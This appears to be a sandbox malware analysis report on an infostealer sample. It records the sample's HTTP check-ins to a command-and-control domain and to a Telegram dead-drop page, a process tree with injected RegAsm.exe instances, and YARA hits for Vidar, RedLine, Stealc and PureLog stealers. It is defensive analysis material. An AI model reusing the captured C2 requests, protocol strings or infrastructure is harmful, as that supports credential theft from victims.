Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49790	104.21.10.172	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:18:31 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: condedqpwqm.shop
2024-09-06 06:18:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-06 06:18:31 UTC	541	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yjpYFGIi6E0l2pW7MezWHncFLbn3eY6pIgtX7kR7btTuOHvjcJwzgqRjkmnVxCmxggFWo74U86WdoLxKhJk49H2oy%2BDuJDVhkvvOSuSeNMp8TXBRKXM95SQUr9Qq4XLfc7gN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec579a9e0e4263-EWR
2024-09-06 06:18:31 UTC	828	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-06 06:18:31 UTC	1369	IN	Data Raw: 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 6c 65 72 74 27 29 Data Ascii: ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert')
2024-09-06 06:18:31 UTC	1369	IN	Data Raw: 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 50 48 33 74 38 41 78 49 34 59 49 53 6c 51 30 42 75 74 67 4b 53 6b 73 36 37 4d 52 56 56 6a 70 52 71 6e 7a 78 6d 56 30 78 75 44 51 2d 31 37 32 35 36 30 33 35 31 31 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 Data Ascii: <input type="hidden" name="atok" value="PH3t8AxI4YISlQ0ButgKSks67MRVVjpRqnzxmV0xuDQ-1725603511-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="backg
2024-09-06 06:18:31 UTC	839	IN	Data Raw: 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 Data Ascii: •</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span>
2024-09-06 06:18:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49791	104.21.10.172	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:18:32 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=PH3t8AxI4YISlQ0ButgKSks67MRVVjpRqnzxmV0xuDQ-1725603511-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: condedqpwqm.shop
2024-09-06 06:18:32 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-09-06 06:18:33 UTC	798	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bc4rno73np9p44m3o1m5f53r9q; expires=Tue, 31 Dec 2024 00:05:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yUVodCuhSZW2d6oFaHx9PDE7fvGl0N%2Bn48y6HeV3K0c7KofVDazTglr7Cv9KPe7SqkdQATZI1h%2Fzozf38Kg2fDMIQEPJ55ayoa%2FoAALYrTVJ9CNtfo%2FV4ImSCssPeS4JFhJd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec57a3abcc433a-EWR alt-svc: h3=":443"; ma=86400
2024-09-06 06:18:33 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-06 06:18:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49793	149.154.167.99	443	7528	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:18:35 UTC	143	OUT	GET /fneogr HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=f3c4d6f56f5d888bd9_3268186582621973209
2024-09-06 06:18:36 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 06 Sep 2024 06:18:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12317 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-06 06:18:36 UTC	12317	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 66 6e 65 6f 67 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @fneogr</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49833	149.154.167.99	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:19:10 UTC	143	OUT	GET /fneogr HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=f3c4d6f56f5d888bd9_3268186582621973209
2024-09-06 06:19:10 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 06 Sep 2024 06:19:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12317 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-06 06:19:10 UTC	12317	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 66 6e 65 6f 67 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @fneogr</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Target ID:	0
Start time:	02:16:55
Start date:	06/09/2024
Path:	C:\Users\user\Desktop\gobEmOm5sr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\gobEmOm5sr.exe"
Imagebase:	0x840000
File size:	7'097'856 bytes
MD5 hash:	1F389EF6DAC9971FEF4BAD14B3514C26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:16:55
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x1a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:16:55
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x900000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
Imagebase:	0x280000
File size:	8'684'256 bytes
MD5 hash:	B5887A19FE50BFA32B524AAAD0A453BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe
Imagebase:	0x400000
File size:	3'443'448 bytes
MD5 hash:	6B974C3C8790EC1BD9CC7403CCA3D1BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe
Imagebase:	0x7c0000
File size:	3'851'776 bytes
MD5 hash:	68EBCC4AD727C077AEB5CC60B868E304
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe
Imagebase:	0xbe0000
File size:	3'607'496 bytes
MD5 hash:	C4D092354C3F964EE1D9671F2517A6C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe
Imagebase:	0x6b0000
File size:	6'535'168 bytes
MD5 hash:	0DE88C2F978A57026E58E6CA90AE5D69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000000A.00000002.2204897517.000000000196E000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000000A.00000002.2204897517.0000000001A50000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe
Imagebase:	0x10000
File size:	301'608 bytes
MD5 hash:	20C0E4911043ACDF83CD6F5818060B6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe
Imagebase:	0x30000
File size:	222'248 bytes
MD5 hash:	B81AC0BD6737ADC5D296E9D86491D9F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe
Imagebase:	0x140000000
File size:	10'902'016 bytes
MD5 hash:	025EBE0A476FE1A27749E6DA0EEA724F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe
Imagebase:	0xf20000
File size:	331'776 bytes
MD5 hash:	E600B6015B0312B52214F459FCC6F3C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000E.00000002.2120842089.00000000043E5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe
Imagebase:	0x9e0000
File size:	513'536 bytes
MD5 hash:	F10161C3ACDE4B7DADCD1EEDDCF937F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.2138074138.0000000003CC5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe
Imagebase:	0x9b0000
File size:	14'748'160 bytes
MD5 hash:	EF210F3D8E05ECAFD8D41A98B5806218
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000010.00000002.2284303938.00000000027E4000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000010.00000002.2284303938.0000000002B20000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:17:22
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
Imagebase:	0xa60000
File size:	1'792'000 bytes
MD5 hash:	B914F31B2599675CB8A7AC4C9262ECD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2614020316.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2614020316.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:17:23
Start date:	06/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:17:23
Start date:	06/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:17:23
Start date:	06/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:17:23
Start date:	06/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:17:25
Start date:	06/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	02:17:25
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xa00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000017.00000002.2753591127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000017.00000002.2753591127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:17:25
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x3f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:17:26
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xab0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000002.2027068709.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:17:27
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x600000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:17:27
Start date:	06/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:17:27
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x5c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
